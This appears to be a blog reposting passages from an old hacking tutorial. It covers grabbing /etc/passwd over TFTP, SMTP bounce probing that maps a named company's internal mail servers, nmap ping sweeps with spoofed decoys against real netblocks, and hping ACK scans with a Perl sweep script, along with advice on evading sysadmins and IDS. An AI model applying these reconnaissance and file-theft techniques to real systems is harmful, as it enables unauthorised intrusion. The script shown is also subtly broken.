bin:*:3:7:BSDI Software:/usr/bsdi:/sbin/nologin
operator:*:5:5:System Operator:/usr/opr:/sbin/nologin
uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico
games:*:7:13:Games Pseudo-user:/usr/games:/sbin/nologin
news:*:9:8:USENET News,,,:/var/news/etc:/sbin/nologin
demo:*:10:13:Demo User:/usr/demo:/sbin/nologin
www:*:51:84:WWW-server:/var/www:/sbin/nologin
nobody:*:32767:32766:Unprivileged user:/nonexistent:/sbin/nologin
nonroot:*:65534:32766:Non-root root user for NFS:/nonexistent:/sbin/nologin


Note - I transfer the /etc/passwd file to the temp directory. If you do the TFTP as root, and you are not careful, you will overwrite your own /etc/password file :). We have password file - it is shadowed - but we can now easily get any other file (the real password file etc.).

Tuesday, July 6, 2010

SMTP (25 TCP)

SMTP (25 TCP)
SMTP-Simple Mail Transfer Protocol

Back in the good old days just about every mail server was running Sendmail. And Sendmail was littered with security holes. Nowadays Sendmail is pretty safe (yet a lot of people still have bad memories of it, and as such refuse to use it). The other common MTS is Microsoft Exchange. Other UNIX mail servers include qmail and smail. What vulnerabilities exist in SMTP gateways? If we assume that you are dealing with a rather new version of Sendmail it seems like SMTP is pretty safe (in terms of getting control over a server). Mailbombing...sure, getting root when one already have a shell -
sure. But remotely - I don't think so. Would anyone find a nasty buffer overflow in MS Exchange it would probably be the next big thing. Anyone?
In terms of intelligence gathering SMTP can provide you with some interesting stuff - EXPN and VRFY have been discussed in depth in the examples - lets not go there again. Mail spamming - well its not really hacking now is it?
SMTP can also be used to discover the soft insides of networks by sending a "bounce" message. Such a message is a message that is addressed to a user that does not exists. The mail will travel all the way to the most internal mail server who will then reply to you stating that the user is not known. By looking at the returned mail's STMP header would you gain some useful information about the mail path, and thus the internal network. Let us look at an example. We want to see the SMTP path of the domain nedcor.co.za. We send email to klasiedewaal@nedcor.co.za (we suspect there wont be such a user at the domain), with body text: "Hi bud - got your email address form Amy - if you receive this in good order, write back to me. Your friend, Roelof". Obviously the idea is not the make the "bounce" message look suspect. Now, let us look at the listed MX records for the domain:
/# host -t mx nedcor.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-1.hosting.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-2.hosting.co.za
nedcor.co.za mail is handled (pri=50) by prometheus.nedcor.co.za
The SMTP returned mail header looks like this:
Received: from prometheus_old.nedcor.co.za ([196.36.217.137])
by wips.sensepost.com (8.9.3/8.9.3) with SMTP id WAA18570
for ; Sun, 10 Sep 2000 22:48:29 +0200 (SAST)
(envelope-from )

Received: FROM ARES.it.nednet.co.za BY prometheus_old.nedcor.co.za ; Sun
Sep 10 22:43:09 2000 +0200
Received: by ares.it.nednet.co.za with Internet Mail Service (5.5.2650.21)
id ; Sun, 10 Sep 2000 22:43:19 +0200
Message-ID: <35D6C187048AD311882F00805FD7EDE402F57314@ares.it.nednet.co.za>

We learn from this header that mail "terminates" at ares.it.nednet.co.za. From there it hops to prometheus_old.nedcor.co.za. This is interesting as both these machines are not resolvable from the Internet, and should therefore be considered as "internal".

Sunday, July 4, 2010

Specifies the format of the ICMP message.

Type Description References

0 Echo reply. RFC 792
1
2
3 Destination unreachable. RFC 792
4 Source quench. RFC 792
5 Redirect. RFC 792
6 Alternate host address.
7
8 Echo request. RFC 792
9 Router advertisement. RFC 1256
10 Router solicitation. RFC 1256
11 Time exceeded. RFC 792
12 Parameter problem. RFC 792
13 Timestamp request. RFC 792
14 Timestamp reply. RFC 792
15 Information request. Obsolete. RFC 792
16 Information reply. Obsolete. RFC 792
17 Address mask request. RFC 950
18 Address mask reply. RFC 950
19 reserved (for security).
20
-
29 reserved (for robustness experiment).
30 Traceroute. RFC 1393
31 Conversion error. RFC 1475
32 Mobile Host Redirect.
33 IPv6 Where-Are-You.
34 IPv6 I-Am-Here.
35 Mobile Registration Request.
36 Mobile Registration Reply.
37 Domain Name request. RFC 1788
38 Domain Name reply. RFC 1788
39 SKIP Algorithm Discovery Protocol.
40 Photuris, Security failures. RFC 2521
41 Experimental mobility protocols. RFC 4065
42

55 Reserved.

PING -ICMP(internet control message protocol)

Ping - ICMP

LAYER:TRANSPORT LAYER


PROTOCOL TYPE:TRANSPORT LAYER CONTROL PROTOCOL


Keeping all this in mind, where does one begin to discover which machines are alive? One way might be to ping all the hosts in the list. Is this a good idea? There are pros and cons. Pinging a host is not very intrusive - ping one machine on the 'net, and chances are that no-one will notice. Ping a class B in sequential order, and you might raise some eyebrows. What if ICMP is blocked at the border router, or on the firewall? Not only wont you get any results, but also all your attempts will be logged. If a firewall's "deny" log increase tenfold overnight, you can bet on it that it will be noticed. In many cases ICMP ping requests is either blocked completely, or allowed completely. There are exceptions of course (say an external host is pinging a internal host every X minutes to make sure it is alive, and sends alerts when the host is dead), but generally ICMP is either blocked or allowed. I have not seen any hosts that log ICMP ping packets. Thus, if ICMP ping is allowed to enter and leave the network, you can safely ping the whole netblock without anyone noticing. That is - if there are no IDS (intrusion detection system) in place.

An IDS is a system that looks for suspect looking packets - it will pick up on any known signature of an exploit. It then reacts - it might notify the sysadmin, or it might close the connection. Any IDS worth its salt also looks for patterns. If you portscan a host an IDS located between you and the host would pick up that you are trying to open sequential ports on the same IP - portscanning it. So - if you are pingscanning a big network the IDS might spot a pattern and might react. The "signature" that the IDS would pick up is that the IMCP flags are set to "ping request", and that these are coming in at a rapid rate to many machines (see, that is how an IDS picks up on floodping for example).

If we can counter most of the above obstacles, a ping sweep/scan might be a first good indication of hosts that are alive on the netblock. We counter the obstacles by doing the following - we first ping a few random hosts in the netblock (manually) to see if ICMP are allowed to the inside (yes - I know - this is a hit and miss method because in the whole of the class C there can be one IP that is alive, but rather safe than sorry). If we see ANY ICMP reply we assume that ICMP is allowed to the inside, and proceed to ping scan the network very carefully. In this case very carefully mean very slowly, and not in sequence. We also want to try confuse the sysadmin as to who we really are. If we could send packets with fake (or spoofed) IP addresses we could "cloak" ourselves among the other fake IP addresses. Packets with fake IP numbers will be returned, just as the packets to our IP address, but the "non-suspecting" hosts would simply ignore them, as it never knew that it was "sending" it out. How does one go about scanning stealthy and very slowly?

Enter Nmap (www.insecure.org/nmap). Nmap is a scanner tool build by the good Fyodor of Insecure.org. It is the preferred scanning tool for many security people (good and bad). It has recently been ported to Windows NT as well (by the people at Eeye.com). Without going into the detail of all nmap's option (there are a lot), we find that the command

nmap -sP -PI -Tpolite -D10.0.0.1,172.16.1.1 --randomize_hosts
would do the thing. Let us have a quick look at the different parameters and what they mean. -sP -PI mean that we want to ping sweep with ICMP only, -D10.0.0.1,172.16.1.1 mean that we want to send decoys 10.0.0.1 and 172.16.1.1, -Tpolite means that we want to scan slowly

randomize_hosts tells nmap to shuffle the destination. Now, obviously you would not use 10.0.0.1 and 172.16.1.1 - that is stupid as the sysadmin will quickly spot your (legal) IP between the rest of the (illegal) IP numbers. A further note - don't be stupid and put Microsoft and the NSA's IP numbers in the decoys - it can be spotted easily. Instead try to use IP numbers that are assigned to public mailservers, and add a public webserver here and there. The more decoys you add the safer you are. There is a balance of course - remember that if ICMP request could be logged. To use or not to use decoys can open large debates - an argument against using decoys could be that if a sysop sees a decoyed pingsweep (it pretty obvious when a large number of IPs starts pinging your hosts all of a sudden) it means that someone has spent the time to cloak him/herself - and this on its own is reason for concern. This concern could lead to investigation, something the sysop would normally not do.
Let us see how well this works in a real life. Let us choose a Citibank netblock that we have discovered - we take a small block in Argentina 200.42.11.80-200.42.11.87. We first do a manual ping of a few machines, and find that 200.42.11.81 is alive...and then it hits like a ton of bricks - this method is not that well designed! Imagine the sysop seeing a failed ping request from MY IP number, then a successful ping request, and after two minutes a "storm" of ping requests from all over the world to the rest of the netblock...and that "storm" containing my IP number. It does not take a rocket scientist to figure out what happened. So - I either have to ping from a totally remote site to establish if ICMP is allowed in, or do use the decoys right from the start.
We choose the first method, and proceed with another netblock. This time we choose the block 63.71.124.192-63.71.124.255 in the US of A. We first manually ping some IPs in the block - from a (undisclosed) offsite location. 63.71.124.198 is found to be alive (I hear you saying - why not do the whole of the ping sweep from the "other" location - well, maybe that "other" location does not have the capabilities to run my carefully crafted scanner, or I do not want to attract ANY attention to that site). We now fire up nmap as mentioned. The complete command is (decoys X-ed out):
>nmap -sP -PI -Tpolite -D199.x9.68.1x0,216.1x7.52.33,15x.43.128.26,196.x.160.8 --randomize_hosts 63.71.124.193-254

The output is:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Host (63.71.124.193) appears to be up.
Host (63.71.124.197) appears to be up.
Host (63.71.124.198) appears to be up.

Nmap run completed -- 62 IP addresses (3 hosts up) scanned in 46 seconds
Aha! ICMP is allowed into the network, and there are 3 machines responding to it. What do we do if we find or suspect that ICMP is blocked?

Saturday, July 3, 2010

Ping -TCP Method2 (against stateless Firewalls)

Ping -TCP (no service, wrappers, filters)

Method2 (against stateless Firewalls)

What is the difference between stateful and stateless firewalls really? Well to understand the difference, you got to understand how a TCP connection looks like: the client sends a TCP packet with the SYN flag(synchronization flag)set, the server responds with a TCP packet with the SYN and the ACKL flags(acknowledgement flag) set. Thereafter the server and the client send TCP packets with the ACK flag set. To ensure two-way communication, stateless firewalls usually have a rule (the very last rule) that states that “established” connections are allowed; packets with the ACK flag set. How does this help us? Well, if I send a packet to a server with only the ACK flag set, the server will respond with a RST (reset) flag. This is due to the fact that the server does not know why I am sending a packet with only the ACK flag set (in other words it says: “hey! We haven’t performed a 3 way handshake – bugger off”). Thus, if the machine is alive we WILL get a response – a RST packet.

How do we do it? Simple – there a nifty tool called hping that does this (and a lot more). Let us see how. Lets send a packet with only the ACK flag set- hping will detect if anything comes back. We run hping against a machine that sits behind a stateless firewall: (first we ping it to show you what happens)

# ping -c 3 196.35.xxx.12
PING 196.35.xxx.12 (196.35.xxx.12): 56 data bytes
--- 196.35.xxx.12 ping statistics ---


3 packets transmitted, 0 packets received, 100% packet loss
Now hping:

# hping 196.35.xxx.12 -c 3 -A
HPING 196.35.xxx.12 (ep0 196.35.xxx.12): A set, 40 headers + 0 data bytes
46 bytes from 196.35.xxx.12: flags=R seq=0 ttl=115 id=20664 win=0 rtt=2088.2 ms
46 bytes from 196.35.xxx.12: flags=R seq=1 ttl=115 id=20665 win=0 rtt=2180.1 ms
46 bytes from 196.35.xxx.12: flags=R seq=2 ttl=115 id=20666 win=0 rtt=2130.1 ms
--- 196.35.xxx.12 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 2088.2/2132.8/2180.1 ms


Although the machine does not respond to ICMP ping packets, it responds with a RST flag if we send an ACK flag. So – there we go – a real TCP ping. How do we hping a lot of hosts? Here’s a quick & dirty PERL script that will do it for you:

#!/usr/bin/perl
# Usage: perl hpings startip-endip 'parameters_to_hping'
# eg. hpings 160.124.19.0-160.124.19.10 '-A -c 2'
$|=1;
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
- 29 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
@ip2=split(/\./,@een[$#een]);
for ($a=@ip1[0]; $a<1+@ip2[0]; $a++) { for ($b=@ip1[1]; $b<1+@ip2[1]; $b++) { for ($c=@ip1[2]; $c<1+@ip2[2]; $c++) { for ($d=@ip1[3]; $d<1+@ip2[3]; $d++ { print "$a.$b.$c.$d : "; system "hping $a.$b.$c.$d @ARGV[1]"; } } } }